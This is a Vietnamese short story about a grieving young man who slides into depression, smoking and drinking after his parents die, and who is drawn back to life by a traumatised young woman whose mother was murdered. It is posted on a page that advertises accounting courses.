1

Vì đó là tình yêu

KHÓA HỌC KẾ TOÁN KÈM RIÊNG THEO YÊU CẦU 1-1 xem ngay

KHÓA HỌC KẾ TOÁN NỘI BỘ CẤP TỐC ONLINE xem ngay

LỚP HỌC CHỨNG CHỈ KẾ TOÁN TRƯỞNG xem ngay

      VÌ ĐÓ LÀ TÌNH YÊU

Tiếng tít tít vang lên từ chiếc đồng nhỏ báo hiệu đêm đã trôi qua được một nửa. Giật mình, điếu thuốc trên tay tôi rớt thẳng xuống dưới tạo thành một đốm sáng nhỏ. Từ ban công của căn hộ chunh cư trên tầng thứ 18, đốm sáng rơi xuống rồi mờ dần và tắt lịm đi trong bóng tối. Tôi quờ quạng chung quanh, cố sức tìm kiếm lấy bao thuốc mình vừa để bên cạnh. Đôi tay run run, tôi mở miệng bao thuốc ra muốn châm thêm một điếu để lấy chút ánh sáng nhưng…hết thuốc. Tôi quăng bao thuốc trên tay đi và lại tiếp tục quờ quạng. Thuốc đâu? Thuốc đâu? Một, hai, ba…sao bao nào cũng hết? Mình đã hút liên tục bao nhiêu bao? Nhưng làm sao lại hết thuốc? Sao lại hết thuốc? Đừng! Châm thuốc lên, dù chỉ có một chút sáng thôi nhưng đừng cho nơi đây chìm vào bóng tối. Diêm. Phải rồi. Diêm. Tôi lục vội trong túi lấy que diêm cuối cùng ra và châm nốt. Ánh sáng bừng lên rọi rõ khuôn mặt hốc hác, bộ râu rậm lâu ngày không cạo cùng đôi mắt đã thâm đen đi của mình. Ánh sáng làm tôi thấy an tâm và khẽ nở một nụ cười mãn nguyện. Nhưng bỗng một cơn gió lại ùa đến. Ngọn lửa trên đỉnh que diêm nghiêng hẳn đi. Ngồi thụp xuống, tôi lấy cả thân mình che cho que diêm không bị tắt. Đừng tắt. Tôi sợ bóng tối. Thế nhưng rồi que diêm lại cũng vụt tắt. Đâu đó làn khói trắng đã vút lên rồi nhẹ nhàng tan vào không khí. Bóng tối lại ụp xuống ban công nhỏ. Tôi hốt hoảng vứt que diêm trên tay, ngồi vò lấy đầu mình, thi thoảng đôi mắt khẽ hé ra gặp ngay bóng tối đen đặc rồi lại vội vàng nhắm tịt lại. Tôi quay cuồng. Tôi sợ bóng tối. Tôi sợ bóng tối.

Cơn quay cuồng thúc cánh tay tôi giật mạnh chiếc rèm cửa đang treo bên cạnh xuống. Mớ vải bùng nhùng trong tay làm tôi giật mình rồi lại quăng vội nó đi. Thấp thoáng trong căn phòng rộng lớn, ánh sáng từ chiếc đèn nhỏ trên bàn thờ khẽ hắt xuống. Tôi vội vàng chạy đến. Bên trên là ảnh người phụ nữ với khuôn mặt hiền hậu cùng một người đàn ông mang đầy khí phái. Họ đều trung tuổi, đẹp đôi và nhân hậu. Họ là bố mẹ tôi. Tôi chăm chú nhìn họ, ánh nhìn xa xăm ẩn chứa bao đau khổ và thương nhớ. Cổ họng tôi ứ lại. Từ trái tim, một cơn đau rằng xé truyền đi khắp cơ thể. Đầu óc bỗng trở nên quay cuồng, hai mắt mờ đi. Hình ảnh trước mắt bỗng trở nên nhạt nhòa rồi chỉ còn lại là một màu đen đặc. “A…a”. Tôi gào thét, lấy hai tay vò chặt lấy đầu mình. Bước chân không vững chắc, tôi ngã lăn ra, quay cuồng, điên đảo. Mùi nhang từ bàn thờ tỏa ra khắp căn phòng. Hình ảnh trước mắt lại nhập nhòa, khoảng sáng khoảng tối. Lồm cồm bò dậy, tôi quơ tay, chiếc đèn ngủ không được bật bên cạnh bị xô ngã. Rồi bình nước trên bàn, bình hoa, ga trải giường, những cuốn sách vứt lăn lóc đều bị tôi quơ lấy và quăng đi bằng sạch. Căn phòng trở nên loạn nhịp, nước đổ lênh láng, sách, hoa, đèn văng tứ tung. Tôi lại trượt chân ngã nhào xuống vũng nước, chiếc áo T-shirt ướt đẫm đi một khoảng. Tôi lạnh, lê người theo thành giường mãi cho đến khi lưng mình chạm phải tường thì mới chịu dừng lại. Kẹp lấy tôi giờ đây một bên là giường ngủ và một bên là bàn học. Tôi khi lấy hai tay bó gối, khi vò đầu, khi lại hét lên những tiếng sợ hãi. Phía trước, những hoa, những sách vớ vẫn đang vứt lăn lóc. Mùi nhang cùng ánh đèn mờ nhạt vẫn lan tỏa khắp căn phòng. Trong giây phút này đây, ngoài việc ngồi im sợ hãi thì tôi chẳng tìm được cho mình một lối thoát nào khác cả. Tôi đau buồn, nhưng tuyệt nhiên hai bờ mi không rơi dù chỉ là một giọt lệ nho nhỏ. Bao nhiêu đau khổ tôi vẫn cứ dấu thật sâu trong đáy mắt. Nước mắt chính là sự giải thoát. Nhưng chẳng hiểu tại sao tôi vẫn không thể ngẹn ngào.

Sáng. Mặt trời chiếu những tia vàng óng khắp thành phố rộng lớn. Nắng phủ mình lên lóc các ngôi nhà cổ kính, trải đều khắp các con đường, tung mình lên các giàn hoa Tigon và chiếu cả vào trong căn hộ chung cư trên tầng thứ 18. Tôi lờ mờ mở mắt. Cơn sợ hãi, quay cuồng hôm qua khiến tôi mệt nhoài và thiếp đi khi nào không hay biết. Đầu đau, những khớp xương ở cổ và lưng vẫn tấy lên liên hồi. Tôi loạng choạng với tay kéo thân mình đứng dậy. Mùi rượu nồng nặc khắp cả người. Giờ tôi mới biết đêm qua mình còn uống cả rượu. Căn phòng trước mặt bừa bộn không thể tả. Nào những thuốc, hoa của hôm qua. Dây điện, đèn của hôm kia và cả những thứ đồ linh tinh của nhiều nhiều các hôm khác. Tôi cũng không nhớ rõ.

Tiếng chuông đồng hồ lại vang lên nhưng mới chỉ ở nhịp thứ hai thì đã bị tắt lịm. Tôi quăng mình trên giường. Hai mắt nhìn vô định. Mọi thứ chung quanh vẫn chưa rõ ràng. Vì đầu tôi đang đau, người mệt mỏi và quan trọng là tôi cũng không muốn nó rõ ràng. Đâu đó trong căn phòng rộng lớn, tôi nghe thấy có tiếng chuông điện thoại, một bản nhạc chuông tôi cài riêng cho những số có liên quan đến công việc. Nhưng dù là thế, tất nhiên….tôi không nghe. Đến bản thân mình tôi còn chả buồn quan tâm huống chi là công việc với áp lực căng thẳng, bon chen, dẫm đạp lên nhau mà sống. Đứng dậy rồi với lấy chiếc bóp trên mặt bàn. Tôi đi ra hồ như một thói quen.

Bộ quần áo lâu ngày không thay, râu ria xồm xoàm, nhìn tôi giờ đây chắc chẳng ai nghĩ đó là người đang sống trong căn hộ đắt tiền nhất nhì của thành phố. Tôi cũng không quan tâm. Trong tôi từ lâu đã không còn hứng thú gì với đời hết cả. Như một chú chó nhỏ ngoài chợ tôi vẫn thường hay thấy, cuộc sống của tôi giờ đây đơn giản chỉ gói gọn trong ba chữ “đang tồn tại”. Sống không cần biết đến ngày mai, không mục đích, ngoài việc ăn vào để không chết thì mọi thứ với tôi đều vô vị. Tôi dần dần trở nên trơ lì. Tôi không quan tâm những gì miệng mình sẽ nói ra cũng như chẳng để ý những thứ mắt hay tai đang chuẩn bị thu vào. Suy nghĩ khiến tôi mệt mỏi và sợ hãi.

Bằng những động tác chậm chạp đến khó chịu, tôi đóng cánh cửa gỗ màu nâu đỏ của nhà mình lại, khóa chốt rồi quay lưng đi. Chỉ vài động tác đơn giản thôi mà cảm nhận như thế giới tồi tệ này đã trôi qua hàng thế kỉ. Tôi vốn đã quen với cái thói lề mề như vậy rồi. Đón lấy ánh mắt tôi là hình ảnh một cô gái nhỏ nhắn đang đứng đợi thang máy. Cô gái như đã nhìn thấy tôi từ khi tôi bước ra và có lẽ là quan sát luôn từ đó cho tới giờ. Chẳng khó khăn mấy cho tôi khi nhận ra ánh mắt cô rất hỗn loạn. Đủ thứ cảm xúc đang xen lấn trong đó. Từ ngạc nhiên đến vui sướng, mong chờ đến đau khổ… Tất cả, tất cả làm đôi mắt trở nên buồn và xa xăm nhiều quá. Chờ đợi một hồi cho những dòng suy nghĩ chậm chạp lết qua đầu tôi. Không thấy tôi nói gì, cô gái khẽ gật đầu chào thật lịch sự. Còn tôi thì lại…quay đi. Chẳng có gì đặc biệt đâu. Tôi đã quen với cái kiểu hành xử “nhạt như nước ốc” đó tự lâu rồi. Tôi quay đi và hướng mình về phía cầu thang bộ. Giây phút ấy, tôi không hề biết sau lưng mình là một cô gái nhỏ tội nghiệp, một ngọn lửa đang heo hắt chút ánh sáng cuối cùng và sẽ vụt tắt ngay nếu như không có một ngọn lửa khác giúp sức. Cô gái đó, ngọn lửa đó biết tôi là chính là hi vọng cuối của mình. Nhưng tôi thì ngược lại. Tôi quay đi không một chút do dự, cũng chẳng thèm quan tâm mình là ngọn lửa hay hi vọng quái gì hết.

Ngồi im lặng trên ghế đá ven hồ, tôi để đầu óc mình hoàn toàn trống rỗng. Tôi sợ những suy nghĩ. Chúng khiến tôi đau đớn và mệt mỏi. Đến khi điếu thuốc cháy gần đầu tóp vàng, tôi nhẹ nhàng vứt nó xuống mặt hồ. Gặp nước, đầu lửa “sèo” lên một tiếng, điếu thuốc nhanh chóng bị biến sắc. Nó bị một con sóng nhỏ đánh vào rồi không còn thấy đâu nữa. Thật nhạt nhẽo.

– Anh còn hút cả thuốc nữa!

Từ bên cạnh, cô gái nhỏ nhắn khi nãy đang bước đến. Tôi không hiểu rõ từ “nữa” cô vừa nói có ý nghĩa gì. Có thể vì người tôi giờ đây vẫn nồng nặc đầy mùi rượu. Nhưng… Tôi và cô ta quen biết quái gì đâu? Phải rồi, trên đời này cũng làm gì có chuyện tình cờ đến như vậy?

– Hihi, không phải em đi theo anh đâu. Em đi cùng bác.

Vừa nói cô gái vừa chỉ tay về phía xa, nơi có người đàn ông trung niên đang ung dung ngồi thả cần câu cá. Là bác Hòa – hàng xóm của tôi. Nhưng như vậy là tôi biết cô gái này đang nói dối, tôi chưa kịp hỏi cô một câu nào cơ mà. Hơn nữa, từ khi ba mẹ mất đi, chưa sáng nào tôi vắng mặt nơi đây cả, sao bỗng nhiên hôm nay lại có thêm cả bác? Nói như vậy, tôi đang có một…cái đuôi. Haha. Thật nực cười. Chuyện gì đây? Sao bác Hòa lại đi cùng cô ta? Cô ta là ai? Theo tôi với mục đích gì?

– Anh không cần quan tâm đến sự có mặt của em đâu. Em sẽ im lặng. Anh hút thuốc. Em đọc sách. Vừa nói cô bé vừa rút ra một quyển sách gì đó của nước ngoài rồi ngồi lặng lẽ mở ra đọc. Tôi không nói gì. Hay chính xác hơn là không muốn nói gì. Cứ thế, chúng tôi ngồi im lặng bên nhau.

Tôi chẳng để ý gì cô gái ngồi bên cạnh. Mãi cho đến khi cảm giác vai mình bị vật gì đó đè lên thì mới biết cô đã thiếp đi tự lúc nào mà gục đầu lên vai tôi. Người bình thường có thể sẽ khó chịu khi gặp trường hợp này. Huống chi tôi lại là một kẻ không bình thường, một kẻ gần như điên loạn. Và ngay tức khắc, tôi đưa cánh tay bên kia của mình đẩy đầu cô thẳng dậy. Cô cũng thật lì lợm. Có lẽ chưa ngủ, tôi đoán đến 90% là như vậy. Cô khẽ “Ư” lên một tiếng thật nhỏ như cầu mong đừng đánh thức. Thật là phiền toái. Tôi ngoảnh hẳn mặt sang quyết tâm dựng cô ta thẳng dậy. Vừa khi đó, tôi bắt gặp ánh mắt của bác Hòa, vẫn là một ánh mắt có hồn, khiến bất kì ai nhìn thấy thì cũng đều phải mềm lòng xuống. Bác đưa ngón tay lên và khẽ đặt trước cửa miệng để ra hiệu im lặng. Tôi nghe lời răm rắp. Ngoại trừ ba, đó là người đàn ông thứ hai trên đời tôi kính trọng và nể phục nhiều nhất. Và dù chưa hiểu chuyện gì, tôi vẫn đồng ý cho cô gái nhỏ này say giấc ngay trên vai. Biết đã được cho phép, cô khẽ dũi đầu sâu hơn, mái tóc mềm xõa nhẹ vào cổ tôi, mùi hương cùng sự mềm mại làm tôi thực sự có đôi chút xao xuyến. Tôi cứ cho cô ngủ mãi như thế rồi chợt nhận ra lòng mình đang bình yên đến lạ. Lần đầu tiên, là lần đầu tiên từ khi ba mẹ mất đi tôi mới có lại cảm giác đó. Dù cho đôi vai đã mỏi nhừ và tưởng như có thể rụng xuống bất cứ khi nào, tôi vẫn gồng mình lên, gắng sức không làm cô thức giấc. Nói một cách chính xác, tôi đã bị cô gái này làm cho xiêu lòng.

Cô tỉnh dậy, khuôn mặt nhỏ khi đang ngái ngủ trông thật là ngộ nghĩnh. Tôi nhìn cô, ánh mắt từ lạnh lùng giờ đã pha thêm chút quý mến. Như bắt được ánh mắt đó, hai má cô gái đỏ ửng lên. Đẩy vội tôi ra, cô đứng dậy gãi gãi đầu rồi vội nói.

– Về thôi anh!

Câu nói rất nhẹ nhưng lại thực sự làm tôi thấy bối rối. Tôi rụt rè đứng dậy rồi đi về. Chúng tôi bước đi bên nhau hướng đến khu chung cư, cũng chẳng để ý bác Hòa đã về tự lúc nào nữa.

Về đến nơi, hai chúng tôi ai về nhà nấy. Khi tạm biệt thì vẫn chỉ có cô gái là người cất tiếng. Tôi vốn cũng đã định đáp lại nhưng tốc độ nói của tôi chậm hơn bàn chân đang chạy vội của cô ấy. Thừ người ra một chút, tôi lắc đầu rồi mở cửa bước vào nhà. Chẳng ăn uống gì, tôi quăng mình lên giường rồi làm một giấc dài cho tới tận giữa chiều. Mãi đến khi tiếng chuông cửa vang lên thì mới chịu tỉnh dậy. Trước giờ, tôi không có thói quen quan tâm đến tiếng chuông cũng như người bấm chuông. Và tất nhiên là cũng không quen ra mở cửa. Với lấy chiếc gối rồi quấn chặt vào đầu mình, tôi cố gắng thuyết phục trí óc không bận tâm đến sự làm phiền đáng ghét đó. Nhưng rồi tiếng chuông vẫn vang lên liên hồi. Đã gần năm phút, tưởng như không mở cửa thì nó sẽ còn kéo dài thâu đêm mất. Cơn tức giận vì bị làm phiền dâng lên, tôi vùng mình khỏi giường, hùng hục đi ra trước cánh cửa. Vặn cộc tay nắm, tôi giật ngược cánh cửa về phía sau:

– Có biết người ta đang….

– Tén tén tén ten.

Câu nói của tôi khựng ngay lại trước mâm thức ăn nhỏ đầy màu sắc, trông thật bắt mắt. Rồi mâm thức ăn từ từ hạ xuống, khuôn mặt cô gái lại tươi rói những nụ cười. Thật là…

– Anh chưa ăn gì đúng không? Em làm cho anh đó.

– …..

Không thấy tôi nói gì, cô gái dúi vội mâm thức ăn vào tay tôi rồi đẩy cửa và chui tọt vào nhà. Tôi chẳng nói gì, bước theo cô vào trong rồi lại quăng mình lên giường.

– Anh ăn đi rồi hãng ngủ tiếp chứ. Tôi không trả lời, nhắm mắt tiếp tục ngủ, bỏ mặc cô gái ngồi trơ chọi với mâm thức ăn bắt mắt.

Tỉnh giấc, tôi giật mình khi nhận ra đang có một ánh mắt chăm chú quan sát mình, vẫn là cô gái đó. Cô ở lì từ đó không chịu về. Bỗng dưng tôi lại thấy khó chịu khi có người kè kè như thế này. Làm vẻ bực dọc, tôi ra khỏi giường, tiến đến bàn rồi châm cho mình một điếu thuốc. Cô cũng nhìn theo tôi, nhăn mặt khó chịu nói:
– Hút thuốc lá có hại cho sức khỏe.
***

– Hút thuốc lá có hại cho sức khỏe, mẹ đã nói con bao nhiêu lần rồi. Tại sao con lại hút như vậy?

Tôi cúi gằm mặt xuống, không dám mở lời.

– Con nói đi chứ…

– Con…con…con xin lỗi. Tôi rụt rè đáp lại, ngoảnh mặt lên, khoe mắt mẹ đã bắt đầu thấy long lanh những giọt nước nho nhỏ . Bố tôi nãy giờ chưa nói gì, chỉ ngồi im lặng cầm tờ báo giả vờ như đang đọc. Nhưng rồi ông cũng để tờ báo xuống rồi nhìn thẳng vào mắt tôi mà hỏi:

– Có bỏ được không?

Tôi sững người, trước giờ bố vẫn luôn giữ được vẻ nghiêm nghị như vậy. Một câu nói ngắn gọn mà khiến tôi nổi hết cả da gà. Tôi trả lời một cách đầy dứt khoát:

– Dạ được.

Bố tôi không nói gì thêm, cầm tờ báo đứng dậy và bước đi. Khi ngang qua tôi, ông không quên dừng lại, hướng cho tôi nhìn về phía mẹ rồi vỗ nhẹ lên vai tôi như đang trao trọn tất cả niềm tin và hi vọng.
***

– Anh làm sao thế? Cô bé khuơ khuơ tay trước mặt tôi, vẻ hồn nhiên tinh ngịch. Tôi không trả lời, quay qua gạt tàn rồi lại tiếp tục hút. Đảo mắt một vòng quanh căn phòng, tôi ngạc nhiên. Mọi thứ đã được sắp xếp lại thật ngăn nắp. Sàn nhà, mặt bàn, cửa kính đều được lau chùi bóng loáng. Những giác rưởi tôi vứt lăn lóc giờ cũng đã không còn. Căn phòng từ bừa bộn bỗng chốc trở nên gọn gàng và sạch sẽ. Trông thật chẳng khác nào nơi ở dành cho những vị hoàng gia quý tộc trong những câu chuyện cổ tích cả.

– Cô làm cái gì quái gì vậy? Tôi hét lên. Câu hét to làm cô gái giật mình, hai mắt trân trân nhìn tôi đầy sợ hãi.

– Tôi hỏi cô đã làm gì thế này?

– Em…em chỉ muốn dọn dẹp một chút thôi mà.

Tôi lại gằn giọng lên:

– Đây là thế giới của riêng tôi. Cô là cái thá gì mà đòi đụng vào nó như vậy chứ?

– Em…em…

– Ra khỏi nhà tôi. Tôi tức giận chỉ tay về phía cửa chính rồi lại quát lên. Em vẫn chưa hết
bàng hoàng, hai mắt nhìn tôi đầy thất vọng.

– Cô điếc hay sao thế? Tôi nói ra khỏi nhà tôi.

Sau câu nói đó, em đã cất bước đi. Tôi chưa chịu nguôi, hùng hục đi theo rồi đóng rầm cánh cửa lại. Mọi thứ bỗng chốc lại ngập chìm trong im lặng.

Tôi đã từng nghe được một câu chuyện như thế này:

“Có một cô nàng nọ vì đang vướng mắc một vài chuyện nhưng không làm sao tìm cho ra cách giải quyết. Cô bèn lên núi gặp nhà sư để mong được chỉ bảo. Cô nói:- Thưa thầy, con muốn buông vài thứ. Nhưng…con không thể.Nhà sư đưa cho cô ta cầm 1 cốc nước rồi liên tục rót nước sôi vào đó. Khi nước đầy tràn ra cả tay, bị bỏng, cô ta ngay lập tức thả cho cốc nước rơi xuống.
Nhà sư từ tốn:- Đau thì tự khắc sẽ buông!”.

Phải rồi. “Đau thì tự khắc sẽ buông”, tôi vẫn luôn tâm niệm là như thế. Và muốn cho người đau, ta ắt phải tàn nhẫn. Chấp nhận một mối quan hệ rồi bỏ bê nó sẽ tàn nhẫn, sẽ khiến người ta đau khổ gấp nhiều lần so với việc lạnh lùng và né tránh. Tôi đã không định làm như thế với cô gái nhỏ nhắn này. Nhưng giờ đây, ngoài cách đó thì xem ra tôi đã không còn sự lựa chọn nào khác cả. Trái tim tôi đã rung động. Tôi cứ đứng lặng người đi ngay sau tấm cửa. Bên ngoài, không có tiếng bước chân nào vang lên mà chỉ có tiếng như người vừa ngồi thụp xuống. Nhưng em không khóc. Tôi cũng không khóc. Khoảng cách của chúng tôi giờ đây chỉ là vài cm gỗ mỏng manh mà ngỡ như ngàn dặm xa xôi vậy. Từ trước đến giờ, dù cho có vấp ngã hay tổn thương thế nào đi chăng nữa thì cũng chưa một lần tôi có ý định sẽ bỏ cuộc. Nhất định tôi sẽ vượt qua. Chỉ có điều thời gian để tôi làm được điều đó luôn luôn không cố định. Nhưng chắc chắn, dù cho đã rung động thì tôi cũng sẽ không đến với em khi trái tim chưa sẵn sàng. Em, cô gái nhỏ nhắn và cũng mong manh nhiều nhiều lắm. Chẳng khó khăn gì để nhận ra đôi mắt em chất đầy những đau thương và mất mát. Tôi có thể không giúp em được gì, nhưng nhất định không biến mình thành “gánh nặng”. Nếu thực sự là của nhau, tôi sẽ đến với em…khi sẵn sàng. Giờ thì em bước đi, không một lời than trách, không một tiếng ngẹn ngào. Giây phút này đây, tôi thật ngu ngơ mà không nhận ra rằng: “Giọt nước mắt của tột cùng nỗi đau không lăn dài trên má. Nó chảy ngược vào tim”.

Phải đến gần một tháng sau tôi không hề thấy bóng dáng em đâu nữa. Ngoại trừ một vài hình ảnh do tôi tự tưởng tượng ra khi đi thang máy, ăn cơm hay ngồi trên ghế đá cạnh bờ hồ thì em đã hoàn toàn biến mất. Tôi cũng thật lạ. Đuổi em đi rồi lòng lại thương nhớ. Đôi khi trái tim vừa dậy lên chút xao xuyến thì đã lại bị lí trí làm cho lạnh cóng. Tôi luôn nghĩ mình làm như vậy là đúng đắn, mãi cho đến tận sáng ngày hôm nay.

Sáng hôm nay, một buổi sáng như bao buổi sáng khác, tôi thức giậy khi bị ánh nắng làm cho chói mắt, quanh người vẫn nồng lên mùi rượu và thuốc lá. Căn phòng vẫn loạn nhịp, bừa bộn không thể tả. Khi tôi vừa rót cho mình một cốc nước và định đưa lên miệng uống thì lại có tiếng chuông cửa. Giờ đây, thay vì giận dữ thì tâm trạng của tôi lại gói gọn trong hai chữ “mong chờ”. Dù biết là lí trí không cho phép. Nhưng việc cân bằng giữa lí trí và trái tim đôi khi khó hơn tất cả. Tôi ra mở cửa, một cách rứt khoát, là bác Hòa. Bác nhìn tôi, ánh nhìn xen lấn nhiều cảm xúc nhưng tôi biết trong đó đã vơi đi phần nào sự thương cảm. Cũng phải thôi, người ta sẽ chỉ thương cảm bạn tới một lúc nào đó. Dần dần, theo thời gian mức độ thương cảm sẽ giảm xuống. Có thể vì họ cảm thấy bất lực khi không giúp được gì. Hoặc họ cảm thấy ngán. Hay tệ hơn là khi đó, trong suy nghĩ của họ, tất cả những đau thương và mệt mỏi của bạn đơn giản cũng chỉ là một “chiêu trò”. Dù sao thì giờ đây suy nghĩ của bác cũng như mọi người về tôi đã không còn quan trọng. Tôi không quan tâm. Nghĩ tích cực cũng được, mà tiêu cực thì cũng chẳng làm sao. Tôi khẽ gật đầu chào bác. Bác chào lại, khuôn mặt vẫn giữ nguyên một vẻ đầy uy nghi.

– Không định tiếp bác ngoài này chứ?

Tôi cứ thần người ra cho đến khi bác cất tiếng. Vội vàng, tôi kéo cánh cửa ra mời bác vào.

– Bác có chuyện muốn nói với cháu. Vừa nói bác vừa bước đi. Đôi chân nhẹ nhàng nhưng dứt khoát, nét uy nghi điềm đạm cứ toát ra làm tôi tỉnh cả người. Tôi đi theo bác tới xalong rồi ngồi xuống.

– Cháu còn nhớ cô bé đó chứ?

Không mấy ngạc nhiên khi câu bắt đầu của bác lại là nhắc đến em, tôi trả lời, rõ ràng và rành mạch.

– Dạ có.

Đôi mắt bác giờ đây bỗng trùng xuống, nét u buồn hiện lên thấy rõ.

– Bác cứ ngỡ mình sẽ đủ khả năng để vực dậy con bé. Nhưng bác đã lầm. Chỉ có cháu, chỉ cháu mới có thể làm được điều đó.

Tôi vẫn nhìn bác, thắc mắc và mơ hồ. Bác ngoảnh đi, lấy trong túi bao thuốc rồi châm một điếu và bắt đầu kể.

– Nó là cháu họ của bác. Nó tên Tiểu Mai, cái tên thật đẹp phải không? Và đáng ra số phận nó cũng phải đẹp như chính tên của mình vậy. Nhưng không. Nó đã phải chịu quá nhiều đau khổ. Năm 17 tuổi, bố nó, người mà nó kính trọng nhất trên đời lại đi cặp kè với một người đàn bà khác. Ông ta nhất quyết đòi li hôn với mẹ nó. Nó đã căm hận, đã gồng mình lên đuổi ông ta ra khỏi nhà khi ông ta say sỉn rồi đạp mẹ nó đập mình vào góc bàn. Bao nhiêu tài sản trong nhà ông ta đều bán đi rồi mang hết ra tiêu xài. Một thời gian sau, dù cho có bao nhiêu khuyên giải của mọi người, bao nước mắt và níu kéo của mẹ nó, ông ta vẫn không thay đổi, thậm chí còn bê bết và vũ phu hơn trước. Và mẹ nó đồng ý. Nó căm hận ông ta. Nó thương mẹ, đã bao nhiêu đêm nó, em trai, cùng mẹ, ba mẹ con ôm nhau khóc. Bao nhiêu đêm giấc ngủ chợt vỡ tan vì những cơn ác mộng. Bao nhiêu bình minh, khi ngày mới vừa đến thì nó lại ngậm ngùi cầm những chiếc vỏ gối ướt đẫm nước mắt trên tay và đi vào nhà tắm. Tưởng như mọi chuyện đã kết thúc khi mẹ con nó tự gồng mình lên mà sống. Khi đau thương đã phần nào được vơi bớt. Thì nửa năm sau, vào một ngày chủ nhật đầy nắng ấm, cả ba mẹ con nó đang chăm sóc vườn rau nhỏ cạnh nhà, ông ta lại…trở về. Cả ba mẹ con đều sững sờ, riêng nó thì sau giây phút sững sờ đó, đôi mắt nó đỏ ngàu lên những tia giận dữ. Nó lao ra đòi đuổi ông ta đi nhưng lại bị mẹ ngăn lại. Mẹ nó ra vẻ tự nhiên và bình thản. Nhưng nó biết, sâu trong cõi lòng kia đang run lên những tiếng nấc ngẹn ngào, bao đau thương mẹ nó đã gắng công trôn dấu giờ lại đang ùa về như thác lũ. Ông ta né tránh ánh mắt của mọi người. Ông ta nói nhiều. Nhưng nó không nghe được bao nhiêu. Đại khái là ông ta nhận ra lỗi lầm và muốn mình được phéo quay trở lại. Ông ta hứa sẽ li hôn với người đàn bà kia và hứa sẽ…thay đổi. Mẹ nó không nói gì. Chắc chắn chỉ cần khóe môi bà khẽ mở nhẹ lên thôi thì những giọt nước mắt đang chờ chực kia sẽ lăn thành hàng dài trên má. Ông ta nói đợi câu trả lời của mẹ nó rồi quay đi. Nhưng tai họa, đau khổ nhất bây giờ mới ập tới. Vài phút sau khi bóng ông ta khuất khỏi cánh cổng, người đàn bà kia cùng một đống lố nhỗ những kẻ xăm mình, đầu trâu mặt ngựa lao vào nhà nó. Chưa kịp cho mẹ con nó hiểu ra chuyện gì. Một tốp đàn ông túm lấy mẹ nó lôi ra đánh. Căm phẫn, nó cùng em trai lao lên. Em trai nó bị vụt một phát vào đầu, nằm im bất động. Nó thì bị đạp lăn về phía sau. Tiếp đâu một nhóm phụ nữ kéo tới, chúng túm tụm lại đánh đập mẹ nó. Những người đàn ông thì giữ nó lại, chỉ cho “nhìn”. Người đàn bà kia, như một con thú điên hùng hục chạy tới, trên tay cầm một con dao sáng loáng. Nó hét lên những tiếng sợ hãi. Bà ta lao đến rồi đâm lia lịa vào bụng mẹ nó. Nhát dao đâm vào, mặt mẹ nó đã chẳng còn một chút máu, bà ta rút ra, dòng máu đỏ tươi cũng theo đó mà tuôn trào. Rồi cứ thế, cứ thế cho đến khi mẹ nó gục hẳn xuống.

Bác ngừng kể, đưa điếu thuốc mới hút được một hơi lên gạt tàn rồi ngoảnh sang nhìn tôi đầy chăm chú. Tôi thật sự sốc, đầu óc hoàn toàn quay cuồng, thật chẳng dám tin vào những gì mình vừa được nghe thấy.

– Có lẽ vì nỗi đau mất mẹ và em trai là quá lớn với một cô bé như nó. Nó sống nhưng chẳng khác gì người đã chết rồi.

Bác hút một hơi thuốc, vẻ chần chừ như còn điều gì không muốn nói. Nhưng rồi bác cũng lại từ tốn:

– Bố nó đã đến gặp bác.

Tôi trân trân hai mắt nhìn thẳng vào bác Hòa. Bác né ánh mắt đó.

– Ông ta nói tình yêu đã tan vỡ. Tất cả chẳng còn gì. Giờ đây, ông ta chỉ xin bác chăm sóc giúp Tiểu Mai vì chẳng có nơi nào đáng để nhờ cậy.

Tôi chợt cười khinh bỉ. Tôi nhận ra như thế này. Người ta thường đổ lỗi cho tình yêu khi duyên phận không thành. Rằng tình yêu ngang trái, đau khổ. Tình yêu làm tôi suy sụp, khiến tôi không còn niềm tin và thực sự mất phương hướng. Thật nực cười. Tình yêu thực ra đâu có lỗi lầm gì. Đó là thứ tình cảm thiêng liêng nhất mà tạo hóa đã ban cho con người. Tình yêu đẹp. Tình yêu trong sáng và thuần khiết đến lạ lùng. Và chỉ có những kẻ không biết yêu, không biết chân trọng tình yêu, những kẻ vội vàng, vụng dại, sốc nổi mới hướng tình yêu chệch khỏi đường ray của chính nó. Khiến nó thay vì đến được bến bờ hạnh phúc thì lại lao xuống vực thẳm rồi tan vỡ. Trước khi yêu, hãy cố gắng để trưởng thành và tìm cho mình một mối tình xứng đáng. Khi đang yêu, hãy làm tất cả những gì có thể để xây dựng và trân trọng tình yêu mà mình có. Còn nếu lỡ chẳng may có đánh mất tình yêu, nên trách bản thân mình dại dột. Đừng gục ngã, cũng đừng đổ lỗi cho bất kì ai hay bất kì thứ gì khác. Tôi cũng đang yêu đấy. Vậy thì có lí do gì để tôi hờ hững cho tình yêu trôi đi như vậy chứ?

Tôi quay sang nắm vội lấy đôi tay bác.

– Bác! Cháu có thể tìm Tiểu Mai ở đâu ạ?

Bác Hòa nở một nụ cười mãn nguyện:

– Chiều nào nó cũng dạo trên bờ đê ngoại thành.

Thật không ngờ có một ngày kẻ sợ tốc độ như tôi lại giám kéo cộc ga, lạng lách như trong phim hành động. Tôi cùng chiếc xe lao vút đi, đằng sau thi thoảng vẫn có tiếng người chửi bới ầm ĩ. Tôi mặc kệ, mối quan tâm duy nhất của tôi giờ đây chính là Tiểu Mai, là cô gái nhỏ nhắn, là tình yêu đã bị tôi làm cho tổn thương đến tột đỉnh. Thật ngu ngốc. Em đã phải chịu bao nhiêu đau thương như thế, nỗi đau của tôi dù có lớn đến đâu cũng chẳng thể bằng một phần nhỏ. Cái gì mà “không biến mình thành gánh nặng”, rồi là “sẽ đến với em khi sẵn sàng”. Ngu ngốc. Dại dột. Tôi không sẵn sàng, không đến với em bây giờ thì còn khi nào nữa? Cứ thế, tôi lái chiếc xe lao vút đi. Chẳng hiểu uể oải mọi ngày của tôi bỗng dưng đã bay đi đâu hết.
